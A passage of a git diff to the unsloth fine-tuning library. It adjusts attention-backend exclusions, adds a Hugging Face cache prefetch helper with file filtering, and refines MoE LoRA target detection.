+    _mu.safe_open = _uma_safe_open
+    return True
diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.py
index afa0d71e10..a319a8d52a 100644
--- a/unsloth/models/_utils.py
+++ b/unsloth/models/_utils.py
@@ -12,7 +12,7 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-__version__ = "2026.6.9"
+__version__ = "2026.7.5"
 
 __all__ = [
     "SUPPORTS_BFLOAT16",
@@ -83,8 +83,12 @@ __all__ = [
     "verify_fp8_support_if_applicable",
     "_get_inference_mode_context_manager",
     "hf_login",
+    "maybe_prefetch_hf_snapshot",
     "is_moe_model",
     "get_moe_target_parameters",
+    "get_moe_target_modules",
+    "warn_if_zoo_cannot_merge_moe_experts",
+    "_select_moe_detection_targets",
     "make_fast_generate_wrapper",
     "_mark_unsloth_disable_data_parallel",
     "_patch_transformers_trainer_data_parallel",
@@ -420,9 +424,23 @@ def apply_unsloth_gradient_checkpointing(use_gradient_checkpointing, max_seq_len
 # access on some GPU architectures (B200). Falls back to eager safely.
 _FLEX_EXCLUDED_MODELS = ("gpt_oss", "mllama", "nemotron_h", "modernbert")
 _FLEX_PREFERRED_MODELS = ("gemma3", "gemma3_text", "shieldgemma2")
-_SDPA_EXCLUDED_MODELS = ("gpt_oss",)
-_FLASH_EXCLUDED_MODELS = ("gpt_oss",)
-_EAGER_ONLY_PREFIXES = ("gemma3n",)
+_SDPA_EXCLUDED_MODELS = ("gpt_oss", "deepseek_v4")
+# The loader (loader.py) forces supports_sdpa=False for these because their bundled
+# SDPA modules are wrong. Kept here, not in loader.py, so _is_sdpa_excluded can honor
+# them without a loader -> _utils import cycle (loader.py already imports from _utils
+# and re-exports this name for callers like sentence_transformer.py). Entries are matched
+# as substrings against a comma-joined model_types string ending in a comma, so "gemma3,"
+# matches a distinct "gemma3" entry but not "gemma3n", and "gemma3_text" matches the
+# EmbeddingGemma text model.
+DISABLE_SDPA_MODEL_NAMES = [
+    "gemma3,",  # Add comma bc gemma3 will match gemma3n
+    "gemma3_text",  # Gemma3TextModel (EmbeddingGemma) - substring match, keep underscore
+    "gpt_oss",
+]
+_FLASH_EXCLUDED_MODELS = ("gpt_oss", "deepseek_v4")
+# deepseek_v4's custom attention is sdpa/flash-incompatible; force eager, and
+# excluded above so an explicit sdpa/flash request cannot re-enable the crash.
+_EAGER_ONLY_PREFIXES = ("gemma3n", "deepseek_v4")
 _FLASH_ATTENTION_MAX_HEAD_DIM = 256
 _FLASH_ATTENTION_DISABLED_WARNED = set()
 
@@ -431,8 +449,23 @@ def _is_flex_excluded(model_type):
     return model_type in _FLEX_EXCLUDED_MODELS
 
 
+def _is_sdpa_disabled_by_name(model_type):
+    # Mirror the loader's DISABLE_SDPA_MODEL_NAMES check: loader.py builds
+    # model_types_all = ",".join(model_types) + "," and tests `name in model_types_all`.
+    # Rebuild the same trailing-comma form for a single model_type so the match is
+    # identical (e.g. "gemma3," matches "gemma3" but not "gemma3n", and "gemma3_text"
+    # still matches "gemma3_text").
+    model_types_all = model_type.lower() + ","
+    return any(name.lower() in model_types_all for name in DISABLE_SDPA_MODEL_NAMES)
+
+
 def _is_sdpa_excluded(model_type):
-    return model_type in _SDPA_EXCLUDED_MODELS
+    # SDPA is known-broken for these models, so an explicit sdpa request must not
+    # re-enable it. Two sources: _SDPA_EXCLUDED_MODELS (resolver-level, e.g. gpt_oss)
+    # and DISABLE_SDPA_MODEL_NAMES (loader-level, e.g. gemma3 / gemma3_text, which the
+    # loader also forces to supports_sdpa=False).
+    lowered = model_type.lower()
+    return lowered in _SDPA_EXCLUDED_MODELS or _is_sdpa_disabled_by_name(lowered)
 
 
 def _is_flash_excluded(model_type):
@@ -608,6 +641,12 @@ def _disable_flash_attention_if_needed(
     if disable_reason is None:
         return attn_implementation
 
+    # Only an implementation passed by the caller counts as an explicit request.
+    # Values read from the config are synthesized by the loaders (the language path
+    # seeds the config with attn_implementation="sdpa") or come from Transformers
+    # defaults, so they must not be treated as a deliberate user choice.
+    explicit_request = attn_implementation
+
     requested_attn_implementation = attn_implementation
     if requested_attn_implementation is None:
         requested_attn_implementation = _config_get(config, "_attn_implementation", None)
@@ -617,6 +656,20 @@ def _disable_flash_attention_if_needed(
     if requested_attn_implementation == "eager":
         return _set_attn_impl(config, "eager")
 
+    model_type = _config_get(config, "model_type", "")
+
+    # The disable reason is flash-specific: honor an explicit non-flash request from
+    # the caller instead of downgrading it. SDPA is honored unless the model's SDPA is
+    # known-broken - _SDPA_EXCLUDED_MODELS (e.g. gpt_oss) or DISABLE_SDPA_MODEL_NAMES
+    # (e.g. gemma3 / gemma3_text); flex_attention
+    # is honored only when it is actually usable, since supports_flex_attention already
+    # rejects the excluded/broken/unavailable configs. This keeps an explicit request
+    # from selecting a backend the repo marks as wrong.
+    if explicit_request == "sdpa" and not _is_sdpa_excluded(model_type.lower()):
+        return _set_attn_impl(config, "sdpa")
+    if explicit_request == "flex_attention" and supports_flex_attention:
+        return _set_attn_impl(config, "flex_attention")
+
     if supports_sdpa:
         fallback_attn_implementation = "sdpa"
     elif supports_flex_attention:
@@ -629,7 +682,6 @@ def _disable_flash_attention_if_needed(
             if _is_flash_attention_requested(requested_attn_implementation)
             else "flash_attention_2"
         )
-        model_type = _config_get(config, "model_type", "")
         warning_key = (
             model_type,
             logged_attn_implementation,
@@ -843,7 +895,19 @@ def resolve_attention_implementation(
         final_attn_impl = requested_attn_implementation
         _set_attn_impl(config, final_attn_impl)
 
-    if not supports_sdpa and final_attn_impl == "sdpa":
+    # A caller who explicitly passes requested_attn_implementation="sdpa" keeps it even
+    # on a conservatively unsupported model, mirroring _disable_flash_attention_if_needed
+    # which honors an explicit sdpa request. The exception is a model whose SDPA is
+    # known-broken - _SDPA_EXCLUDED_MODELS (e.g. gpt_oss) or DISABLE_SDPA_MODEL_NAMES
+    # (e.g. gemma3 / gemma3_text, which the loader also forces to supports_sdpa=False):
+    # an explicit request must not re-enable it, so it still downgrades to eager, just
+    # like flex falls back for _FLEX_EXCLUDED_MODELS. A synthesized/default sdpa
+    # (requested is None, so the value came from the model resolution above or the
+    # config) also downgrades.
+    honor_explicit_sdpa = requested_attn_implementation == "sdpa" and not _is_sdpa_excluded(
+        model_type
+    )
+    if not supports_sdpa and final_attn_impl == "sdpa" and not honor_explicit_sdpa:
         print(
             f"Unsloth: {(model_type_name or 'model').title()} does not support SDPA - switching to fast eager."
         )
@@ -905,6 +969,411 @@ logging.getLogger("transformers.tokenization_utils_base").setLevel(logging.CRITI
 TORCHAO_MSG = "Error: torchao not found, please install with `pip install torchao`"
 
 
+# Artifacts a Transformers/PEFT load never reads (ONNX/TF/Flax/CoreML/GGUF/training state), skipped
+# when prewarming so a mixed-format repo is not pulled in full.
+_PREFETCH_IGNORE_PATTERNS = (
+    "*.onnx",
+    "onnx/*",
+    "*.h5",
+    "*.msgpack",
+    "*.tflite",
+    "coreml/*",
+    "*.mlpackage/*",
+    "*.mlmodel",
+    "*.gguf",
+    # Training / checkpoint formats from_pretrained never reads.
+    "*.pt",
+    "*.pth",
+    "*.ckpt",
+    "optimizer.*",
+    "scheduler.*",
+    "rng_state*",
+    "trainer_state.json",
+    "events.out.tfevents*",
+    "checkpoint-*/*",
+)
+
+
+# Repo-root tokenizer / config / processor files from_pretrained reads from root even when weights
+# load from a subfolder. Exact names (no wildcard) so they match only root-level files.
+_ROOT_AUX_PREFETCH_PATTERNS = (
+    "config.json",
+    "generation_config.json",
+    "tokenizer_config.json",
+    "tokenizer.json",
+    "tokenizer.model",
+    "special_tokens_map.json",
+    "added_tokens.json",
+    "vocab.json",
+    "vocab.txt",
+    "merges.txt",
+    "spiece.model",
+    # More VOCAB_FILES_NAMES the slow tokenizer may fetch (DeBERTa-v2, Whisper, Mistral, XLM-R/mBART, Marian, FSMT/XLM, GPT-2).
+    "spm.model",
+    "normalizer.json",
+    "tokenizer.model.v3",
+    "sentencepiece.bpe.model",
+    "source.spm",
+    "target.spm",
+    "bpe.codes",
+    "vocab.bpe",
+    # More VOCAB_FILES_NAMES (RemBERT, FSMT) a distinct-tokenizer-repo warm must cache too.
+    "sentencepiece.model",
+    "vocab-src.json",
+    "vocab-tgt.json",
+    "chat_template.jinja",
+    "chat_template.json",
+    # chat_template="<name>" fetches additional_chat_templates/<name>.jinja.
+    "additional_chat_templates/*.jinja",
+    "preprocessor_config.json",
+    "processor_config.json",
+    "video_preprocessor_config.json",  # Qwen2.5-VL-style video processors
+    # trust_remote_code auto_map can name any module, so warm every *.py (tiny; none in a non-remote repo).
+    "*.py",
+    "*.tiktoken",  # tiktoken vocab (e.g. Qwen's qwen.tiktoken)
+)
+
+
+# Files a PEFT adapter load reads: config + weights (glob covers sharded adapters). Any merged
+# full-model weights the repo also ships match none of these.
+_ADAPTER_PREFETCH_PATTERNS = (
+    "adapter_config.json",
+    "adapter_model*",
+)
+
+
+# Weight files in a SUBDIRECTORY. A bare root load reads only root weights, so ignoring these drops
+# alternate-precision/experimental dirs (fp16/, experimental/). "*/*" spans "/" (HF fnmatch), so nested
+# weights match while root "model.safetensors" is kept. Only applied when weights_at_root (diffusion
+# keeps weights in subfolders).
+_SUBDIR_WEIGHT_IGNORE_PATTERNS = (
+    "*/*.safetensors",
+    "*/*.bin",
+    "*/*.h5",
+    "*/*.msgpack",
+    "*/*.pt",
+    "*/*.pth",
+)
+
+
+def _in_requested_load_scope(filename, subfolder):
+    """True if *filename* is in the location being loaded (*subfolder*, else root). Scopes the ".bin is
+    redundant when safetensors exist" test so a .bin-only subfolder keeps its .bin."""
+    filename = filename.replace("\\", "/")
+    if isinstance(subfolder, str) and subfolder.strip("/"):
+        return filename.startswith(subfolder.strip("/") + "/")
+    return "/" not in filename  # root load: no directory component
+
+
+# .safetensors training-state files that are NOT model weights (e.g. optimizer.safetensors next to a
+# real pytorch_model.bin); counting them as "model safetensors present" would drop the needed .bin.
+_NON_MODEL_WEIGHT_STEMS = frozenset(
+    {
+        "optimizer",
+        "scheduler",
+        "scaler",
+        "rng_state",
+        "training_args",
+    }
+)
+
+
+def _is_model_weight_safetensors(filename):
+    """True if *filename* is a model-weights safetensors, not a PEFT adapter/sidecar
+    (adapter_model.safetensors) or trainer-state (optimizer.safetensors). Only a real one proves the
+    .bin redundant; counting a sidecar would wrongly drop the needed .bin (fetched then without Xet fallback)."""
+    name = filename.replace("\\", "/").rsplit("/", 1)[-1]
+    if not name.endswith((".safetensors", ".safetensors.index.json")):
+        return False
+    if name.startswith("adapter_"):
+        return False
+    # Stem before first dot: "optimizer.safetensors" -> "optimizer" (real shards kept); rng_state via prefix.
+    stem = name.split(".", 1)[0].lower()
+    if stem in _NON_MODEL_WEIGHT_STEMS or stem.startswith("rng_state"):
+        return False
+    return True
+
+
+def _is_canonical_variant_model_weight_safetensors(filename, variant):
+    """True for a canonical model-weights safetensors carrying the requested *variant*, in the forms
+    transformers reads (single, either numbered-shard layout, or the index). Strict (base must be
+    "model"): a sidecar like consolidated.<variant>.safetensors does not prove the variant .bin redundant."""
+    base = filename.replace("\\", "/").rsplit("/", 1)[-1]
+    v = re.escape(variant)
+    return bool(
+        re.match(
+            rf"^(?:model\.{v}\.safetensors"
+            rf"|model\.{v}-\d{{5}}-of-\d{{5}}\.safetensors"
+            rf"|model-\d{{5}}-of-\d{{5}}\.{v}\.safetensors"
+            rf"|model\.safetensors\.index\.{v}\.json)$",
+            base,
+        )
+    )
+
+
+_CANONICAL_MODEL_WEIGHT_SAFETENSORS_RE = re.compile(
+    r"^(?:model\.safetensors|model-\d{5}-of-\d{5}\.safetensors|model\.safetensors\.index\.json)$"
+)
+
+
+def _is_canonical_model_weight_safetensors(filename):
+    """True for a canonical (non-variant) model-weights safetensors a default load reads (model.safetensors,
+    a numbered shard, or the index). Strict: an unrecognized name keeps both formats, so a variant-only
+    safetensors + pytorch_model.bin repo never has its .bin dropped for a no-variant load."""
+    name = filename.replace("\\", "/").rsplit("/", 1)[-1]
+    return bool(_CANONICAL_MODEL_WEIGHT_SAFETENSORS_RE.match(name))
+
+
+def _adapter_repo_has_safetensors(
+    model_name,
+    *,
+    token = None,
+    revision = None,
+):
+    """Best-effort: does the adapter repo ship a root safetensors adapter weight (making the .bin
+    redundant)? Scoped to root adapter_model* files; any failure returns False."""
+    try:
+        from huggingface_hub import HfApi
+        siblings = HfApi().model_info(model_name, revision = revision, token = token).siblings or []
+        return any(
+            "/" not in sibling.rfilename.replace("\\", "/")  # root only
+            and sibling.rfilename.startswith("adapter_model")
+            and sibling.rfilename.endswith(".safetensors")
+            for sibling in siblings
+        )
+    except Exception:
+        return False
+
+
+def _prefetch_ignore_patterns(
+    model_name,
+    *,
+    token = None,
+    revision = None,
+    subfolder = None,
+    use_safetensors = None,
+    from_tf = False,
+    from_flax = False,
+    variant = None,
+    weights_at_root = False,
+):
+    """ignore_patterns for the prewarm snapshot: the static skip list, minus the checkpoint guard when
+    loading from a checkpoint-* subfolder, minus the weight format the load will not read. use_safetensors
+    is a format allowlist (True -> skip *.bin, False -> skip *.safetensors); auto (None) skips *.bin only
+    when in-scope safetensors are shipped. from_tf/from_flax keep *.h5/*.msgpack.
+
+    Suppressed for a whole multi-component snapshot (weights_at_root=False, no subfolder: ST/diffusers
+    repos with per-subfolder weights, each in its own format), since "*" spans "/" so dropping "*.bin"
+    would strip a module's only weight."""
+    # Keep checkpoint-*/* under a checkpoint-* subfolder; keep *.h5 / *.msgpack under from_tf/flax.
+    ignore_patterns = [
+        pattern
+        for pattern in _PREFETCH_IGNORE_PATTERNS
+        if not (
+            (
+                pattern == "checkpoint-*/*"
+                and isinstance(subfolder, str)
+                and subfolder.startswith("checkpoint-")
+            )
+            or (from_tf and pattern == "*.h5")
+            or (from_flax and pattern == "*.msgpack")
+        )
+    ]
+    # Drop the format the load will not read (the other doubles the download); skipped for a whole
+    # multi-component snapshot (see docstring).
+    whole_multi_component = not weights_at_root and not (
+        isinstance(subfolder, str) and subfolder.strip("/")
+    )
+    if whole_multi_component:
+        pass
+    elif from_tf or from_flax:
+        # TF / Flax loads never read the PyTorch formats; drop safetensors and .bin.
+        ignore_patterns.extend(
+            (
+                "*.safetensors",
+                "*.safetensors.index.json",
+                "*.bin",
+                "*.bin.index.json",
+            )
+        )
+    elif use_safetensors is True:
+        # Explicit safetensors: load never reads .bin (no model_info call needed).
+        ignore_patterns.extend(("*.bin", "*.bin.index.json"))
+    elif use_safetensors is False:
+        # Explicit .bin: load never reads safetensors.
+        ignore_patterns.extend(("*.safetensors", "*.safetensors.index.json"))
+    else:
+        # Auto: skip .bin only once in-scope safetensors are confirmed (best-effort; any failure keeps both).
+        try:
+            from huggingface_hub import HfApi
+
+            siblings = (
+                HfApi()
+                .model_info(
+                    model_name,
+                    revision = revision,
+                    token = token,
+                )
+                .siblings
+                or []
+            )
+            # Count only in-scope model-weights safetensors (not adapters/sidecars): variant-matching if
+            # a variant is requested, else canonical, proving the .bin redundant.
+            has_safetensors = any(
+                _is_model_weight_safetensors(sibling.rfilename)
+                and _in_requested_load_scope(sibling.rfilename, subfolder)
+                and (
+                    _is_canonical_variant_model_weight_safetensors(sibling.rfilename, variant)
+                    if variant
+                    else _is_canonical_model_weight_safetensors(sibling.rfilename)
+                )
+                for sibling in siblings
+            )
+            if has_safetensors:
+                ignore_patterns.extend(("*.bin", "*.bin.index.json"))
+        except Exception:
+            pass
+    return ignore_patterns
+
+
+def maybe_prefetch_hf_snapshot(
+    model_name,
+    token = None,
+    *,
+    revision = None,
+    cache_dir = None,
+    local_files_only = False,
+    fast_inference = False,
+    subfolder = None,
+    force_download = False,
+    use_safetensors = None,
+    from_tf = False,
+    from_flax = False,
+    tokenizer_only = False,
+    adapter_only = False,
+    weights_at_root = False,
+    variant = None,
+    gguf_file = None,
+):
+    """Warm the HF cache for a remote repo before the in-process load.
+
+    Xet can hang on a blob with no progress or exception, and a blocked native Xet thread cannot be
+    killed in-process. So pull the snapshot first in a killable subprocess that falls back Xet -> HTTP
+    on a stall (unsloth_zoo.hf_xet_fallback), making from_pretrained a cache hit.
+
+    Returns True iff warmed (caller can clear force_download), else False (skipped: local/offline/
+    local_files_only/fast_inference/old unsloth_zoo, or failed). Only a both-transports-stalled
+    DownloadStallError is raised; other failures are left for from_pretrained to surface.
+    """
+    try:
+        from unsloth_zoo.hf_xet_fallback import (
+            snapshot_download_with_xet_fallback,
+            DownloadStallError,
+        )
+    except Exception:
+        return False  # older unsloth_zoo without the helper: load normally
+
+    if not isinstance(model_name, str) or not model_name:
+        return False
+    # Local path: nothing to download. Expand ~ first (os.path.exists does not).
+    model_path = os.path.expanduser(model_name)
+    if os.path.isdir(model_path) or os.path.exists(model_path):
+        return False
+    # Looks local but not yet on disk (e.g. an uncreated output dir): not a Hub repo id, so leave it
+    # for from_pretrained rather than download it.
+    if (
+        os.path.isabs(model_path)
+        or model_name.startswith(("~", "./", "../", ".\\", "..\\"))
+        or "\\" in model_name
+    ):
+        return False
+    if local_files_only:  # cache-only: never reach out
+        return False
+    if any(
+        os.environ.get(flag, "0").lower() in ("1", "true", "yes", "on")
+        for flag in ("HF_HUB_OFFLINE", "TRANSFORMERS_OFFLINE")
+    ):
+        return False
+    if fast_inference:  # vLLM has its own download path
+        return False
+
+    # tokenizer-only / adapter-only warms allow-list exact files below, so the weight-format ignore
+    # list (and its auto-branch model_info call) is skipped.
+    ignore_patterns = (
+        None
+        if tokenizer_only or adapter_only or gguf_file
+        else _prefetch_ignore_patterns(
+            model_name,
+            token = token,
+            revision = revision,
+            subfolder = subfolder,
+            use_safetensors = use_safetensors,
+            from_tf = from_tf,
+            from_flax = from_flax,
+            variant = variant,
+            weights_at_root = weights_at_root,
+        )
+    )
+    # Narrow the warm to what the load reads (skip extra checkpoints/precisions); every branch still warms
+    # root tokenizer/config/custom-code so those never fall in-process.
+    allow_patterns = None
+    if gguf_file:
+        # gguf_file=NAME reads exactly that GGUF, but the static ignore list drops *.gguf; so warm just
+        # that file (plus root aux), under <subfolder>/ if set.
+        _gguf_path = (
+            f"{subfolder.strip('/')}/{gguf_file}"
+            if isinstance(subfolder, str) and subfolder.strip("/")
+            else gguf_file
+        )
+        allow_patterns = [_gguf_path, *_ROOT_AUX_PREFETCH_PATTERNS]
+    elif tokenizer_only:
+        # A distinct tokenizer repo: warm only tokenizer / config / vocab files, never its weights.
+        allow_patterns = list(_ROOT_AUX_PREFETCH_PATTERNS)
+    elif adapter_only:
+        # A PEFT adapter load reads only adapter_config.json + adapter_model.* (plus root aux), not any
+        # merged weights the repo may also publish.
+        allow_patterns = [*_ADAPTER_PREFETCH_PATTERNS, *_ROOT_AUX_PREFETCH_PATTERNS]
+        # PeftModel reads one format (safetensors when present): explicit use_safetensors wins, else
+        # prefer safetensors when shipped (best-effort; any failure keeps both).
+        if use_safetensors is False:
+            ignore_patterns = [
+                "adapter_model*.safetensors",
+                "adapter_model*.safetensors.index.json",
+            ]
+        elif use_safetensors is True or _adapter_repo_has_safetensors(
+            model_name, token = token, revision = revision
+        ):
+            ignore_patterns = ["adapter_model*.bin", "adapter_model*.bin.index.json"]
+    elif isinstance(subfolder, str) and subfolder.strip("/"):
+        # subfolder=X: load resolves every weight under X/, so warm that subfolder (plus root aux).
+        allow_patterns = [f"{subfolder.strip('/')}/*", *_ROOT_AUX_PREFETCH_PATTERNS]
+    elif weights_at_root:
+        # A bare load reads only root weights: drop subdir weights (fp16/, checkpoint dirs) while keeping
+        # subdir configs. Diffusion leaves weights_at_root False.
+        ignore_patterns = [*(ignore_patterns or []), *_SUBDIR_WEIGHT_IGNORE_PATTERNS]
+    try:
+        snapshot_download_with_xet_fallback(
+            model_name,
+            token = token,
+            revision = revision,
+            cache_dir = cache_dir,
+            allow_patterns = allow_patterns,
+            ignore_patterns = ignore_patterns,
+            force_download = force_download,
+            variant = variant,
+        )
+        return True
+    except DownloadStallError:
+        # Both transports stalled: surface a clear network error, not a silent in-process hang.
+        raise
+    except Exception as exception:
+        logger.warning_once(
+            f"Unsloth: Could not pre-download {model_name} "
+            f"({type(exception).__name__}: {exception}); continuing with the normal load."
+        )
+        return False
+
+
 # Ignore logging messages
 class HideLoggingMessage(logging.Filter):
     __slots__ = ("text",)
@@ -1201,6 +1670,13 @@ except:
 from transformers.modeling_utils import logger as transformers_logger
 
 
+# Faster safetensors loads on UMA (integrated) GPUs; lazy gate keeps this import
+# fork-safe (no CUDA init). No-op off-UMA. Opt out: UNSLOTH_DISABLE_UMA_CLONE_LOAD=1.
+from ._uma_safetensors import patch_unified_memory_safetensors_load
+
+patch_unified_memory_safetensors_load()
+
+
 def _all_missing_keys_are_position_ids(record_str):
     """True only when EVERY key in the 'newly initialized: [...]' list is a position_ids
     buffer.
@@ -2369,6 +2845,7 @@ def patch_llama_rope_scaling(
                 dim = self.head_dim,
                 max_position_embeddings=self.max_position_embeddings,
                 base=self.rope_theta,
+                config=self.config,
             )
         elif scaling_type == "longrope":
             self.rotary_emb = {longrope_rope_function}(
@@ -3507,8 +3984,25 @@ def _moe_target_set_from_string(target_modules: str) -> set[str]:
         return {target_modules}
 
     is_regex = re.search(r"[*+?()[\]{}|\\^$]", target_modules) is not None
-    targets_mlp = "mlp" in target_modules or "ffn" in target_modules
-    if is_regex and "proj" in target_modules and targets_mlp:
+    # Key detection on the mlp/ffn/experts path segment (absent from an
+    # attention-only regex), never on q/k/v/o leaves alone.
+    targets_mlp_path = any(
+        tag in target_modules for tag in ("mlp", "ffn", "feed_forward", "experts")
+    )
+    if not is_regex or not targets_mlp_path:
+        return set()
+    # Explicit expert leaves scope the target set to exactly those leaves.
+    named = {name for name in _MOE_BROAD_MLP_TARGETS if name in target_modules}
+    if named:
+        return named
+    # A generic projection under an mlp path (e.g. ".*mlp.*proj"): any proj
+    # occurrence that is not an attention leaf name.
+    if re.search(r"(?<![qkvo]_)(?<!out_)(?<!in_)proj", target_modules):
+        return set(_MOE_BROAD_MLP_TARGETS)
+    # The auto regex on fused-expert models lists only attention Linears as
+    # leaves; its mlp tag block is the remaining MLP-intent signal. A regex
+    # like "(mlp|self_attn).(q_proj|o_proj)" has neither and stays attention-only.
+    if "mlp|feed_forward|ffn|dense" in target_modules:
         return set(_MOE_BROAD_MLP_TARGETS)
 
     return set()
@@ -3577,13 +4071,17 @@ def get_moe_target_parameters(model, target_modules = None) -> Optional[List[str
         alternate_name = "experts.down_proj",
     )
 
-    # gate_up_proj combines both gate_proj and up_proj in MoE
-    # Also match "gate_up_proj" directly since users may specify the fused name
+    # gate_up_proj combines gate_proj and up_proj; also match the fused name directly.
+    # Only target a fused expert Parameter that exists: per-expert Linear layouts
+    # (e.g. gpt-oss bnb-4bit) have no fused Parameter and are handled by
+    # get_moe_target_modules, so skip them rather than pass PEFT a dead path.
     if "gate_proj" in target_set or "up_proj" in target_set or "gate_up_proj" in target_set:
-        moe_params.append(gate_up_name)
+        if _moe_parameter_exists(model, gate_up_name):
+            moe_params.append(gate_up_name)
 
     if "down_proj" in target_set:
-        moe_params.append(down_name)
+        if _moe_parameter_exists(model, down_name):
+            moe_params.append(down_name)
 
     if moe_params:
         print(
@@ -3594,6 +4092,136 @@ def get_moe_target_parameters(model, target_modules = None) -> Optional[List[str
     return None
 
 
+def _moe_parameter_exists(model, name: str) -> bool:
+    """True if ``name`` is an exact suffix of some parameter path on the model."""
+    if not hasattr(model, "named_parameters"):
+        return False
+    try:
+        for parameter_name, _ in model.named_parameters():
+            if parameter_name == name or parameter_name.endswith("." + name):
+                return True
+    except Exception:
+        return False
+    return False
+
+
+def get_moe_target_modules(model, target_modules = None) -> List[str]:
+    """Per-expert ``target_modules`` suffixes for MoE models whose experts are stored
+    as per-expert ``nn.Linear`` ModuleLists rather than fused nn.Parameters.
+
+    gpt-oss bnb-4bit is the canonical case (mlp.experts.gate_up_projs.<i> /
+    down_projs.<i> as Linear4bit): no fused Parameter, and the plain
+    gate/up/down_proj leaves do not match, so LoRA skips them. Returning the
+    per-expert suffixes makes PEFT attach via ordinary suffix matching (the
+    module-LoRA counterpart of get_moe_target_parameters). Returns [] for non-MoE,
+    fused-parameter MoEs, an absent per-expert layout, or a request that omits the
+    MLP experts (so an attention-only run does not train experts).
+    """
+    if not is_moe_model(model):
+        return []
+    if target_modules is None:
+        return []
+    if isinstance(target_modules, str):
+        target_set = _moe_target_set_from_string(target_modules)
+    else:
+        target_set = {
+            target
+            for target in target_modules or ()
+            if (isinstance(target, str) and "." not in target and target in _MOE_BROAD_MLP_TARGETS)
+        }
+    if not (target_set & _MOE_BROAD_MLP_TARGETS):
+        return []
+
+    if not hasattr(model, "named_modules"):
+        return []
+
+    # Scope the returned suffixes to the requested projection leaves, matching
+    # get_moe_target_parameters: gate_proj/up_proj/gate_up_proj map to the fused
+    # gate_up ModuleList (e.g. gate_up_projs); down_proj maps to the down ModuleList
+    # (e.g. down_projs). A down-only (or gate/up-only) request must not pull in the
+    # other projection.
+    want_gate_up = bool(target_set & {"gate_proj", "up_proj", "gate_up_proj"})
+    want_down = "down_proj" in target_set
+
+    targets = set()
+    for name, module in model.named_modules():
+        if not isinstance(module, torch.nn.ModuleList) or len(module) == 0:
+            continue
+        parent, _, leaf = name.rpartition(".")
+        # ModuleList directly under an ``experts`` container, holding only Linear
+        # leaves (bnb Linear4bit / Linear8bitLt subclass nn.Linear). After PEFT has
+        # wrapped the experts the child is a LoRA layer whose ``base_layer`` is the
+        # Linear, so accept that too (keeps this idempotent across a re-wrapped model).
+        if not parent.endswith("experts"):
+            continue
+        if not all(
+            isinstance(child, torch.nn.Linear)
+            or isinstance(getattr(child, "base_layer", None), torch.nn.Linear)
+            for child in module
+        ):
+            continue
+        # Honor the requested subset: classify the ModuleList by projection role.
+        leaf_lower = leaf.lower()
+        is_down = "down" in leaf_lower
+        is_gate_up = (not is_down) and ("gate" in leaf_lower or "up" in leaf_lower)
+        if is_down and not want_down:
+            continue
+        if is_gate_up and not want_gate_up:
+            continue
+        # One entry per expert index; ``leaf.<i>`` matches expert i in every layer.
+        for expert_index in range(len(module)):
+            targets.add(f"{leaf}.{expert_index}")
+
+    return sorted(targets)
+
+
+def warn_if_zoo_cannot_merge_moe_experts():
+    """Warn once when the installed unsloth_zoo cannot fold per-expert Linear MoE LoRA
+    into a merged_16bit checkpoint. Older zoo releases keep the fused gate_up_proj /
+    down_proj tensors and drop the per-expert gate_up_projs.<i> / down_projs.<i> deltas,
+    so save_pretrained_merged("merged_16bit") would silently lose the expert training
+    (the LoRA adapter itself still saves and reloads correctly)."""
+    try:
+        from unsloth_zoo import saving_utils as _saving_utils
+
+        # _fold_perexpert_lora_into_fused is the helper that folds these experts.
+        if hasattr(_saving_utils, "_fold_perexpert_lora_into_fused"):
+            return
+    except Exception:
+        return  # cannot introspect zoo -> stay quiet rather than false-alarm
+    logger.warning_once(
+        "Unsloth: the installed unsloth_zoo will not fold these per-expert experts into "
+        "a merged_16bit checkpoint, so save_pretrained_merged('merged_16bit') would drop "
+        "the expert LoRA. Upgrade unsloth_zoo to merge them; saving the LoRA adapter is "
+        "unaffected."
+    )
+
+
+def _select_moe_detection_targets(
+    original_target_modules,
+    scoped_target_modules,
+    finetune_mlp_modules = True,
+    finetune_language_layers = True,
+):
+    """Pick what get_moe_target_parameters keys expert detection on.
+
+    Prefer the caller's ORIGINAL explicit leaf list over the scoped regex so an
+    attention-only request is not pushed into the experts by get_peft_regex's
+    ``mlp|feed_forward|ffn|dense`` component block (which the string fallback
+    cannot tell apart from a fused-expert auto regex).
+
+    But only when the MLP and language families are BOTH still in scope. If the
+    caller scoped MLP or language OFF (``finetune_mlp_modules=False`` or
+    ``finetune_language_layers=False``) the scoped regex already drops the MoE
+    experts, and reusing the original list -- which may still name gate/up/down
+    leaves -- would wrongly re-introduce them. In that case honor the scoped
+    result so the frozen-MLP / vision-only request is respected.
+    """
+    if original_target_modules is not None and finetune_mlp_modules and finetune_language_layers:
+        return original_target_modules
+    return scoped_target_modules
+
+
 def make_fast_generate_wrapper(original_generate):
     """
     Creates a wrapper around model.generate that checks for incorrect
diff --git a/unsloth/models/cohere.py b/unsloth/models/cohere.py
index b08371ffc3..0ac2bed66b 100644
--- a/unsloth/models/cohere.py
+++ b/unsloth/models/cohere.py
@@ -22,6 +22,7 @@ from ..utils.attention_dispatch import (
     AttentionContext,
     run_attention,
     select_attention_backend,
+    resolve_prefix_seg_info,
 )
 
 try:
@@ -151,6 +152,9 @@ def CohereAttention_fast_forward(
             "softmax_scale": getattr(self, "softmax_scale", None),
         },
     )
+    # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward; misuse
+    # (KV cache / padding mask) raises. None => byte-identical default.
+    _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
     context = AttentionContext(
         bsz = bsz,
         q_len = q_len,
@@ -161,6 +165,7 @@ def CohereAttention_fast_forward(
         seq_info = seq_info,
         attention_mask = attention_mask,
         causal_mask = causal_mask,
+        prefix_seg_info = _pg_seg,
     )
 
     A = run_attention(config = attention_config, context = context, Q = Q, K = K, V = V)
diff --git a/unsloth/models/diffusion.py b/unsloth/models/diffusion.py
index 12596b432e..955bf55987 100644
--- a/unsloth/models/diffusion.py
+++ b/unsloth/models/diffusion.py
@@ -24,7 +24,7 @@ import os
 import torch
 from transformers import AutoConfig, AutoProcessor, AutoTokenizer
 
-from ._utils import is_bfloat16_supported
+from ._utils import is_bfloat16_supported, maybe_prefetch_hf_snapshot
 from .llama import logger
 
 __all__ = ["FastDiffusionModel", "DIFFUSION_MODEL_TYPES", "is_diffusion_model_type"]
@@ -79,7 +79,14 @@ def _resolve_diffusion_model_class(config):
     )
 
 
-def _load_diffusion_config(model_name, token, trust_remote_code, revision, local_files_only):
+def _load_diffusion_config(
+    model_name,
+    token,
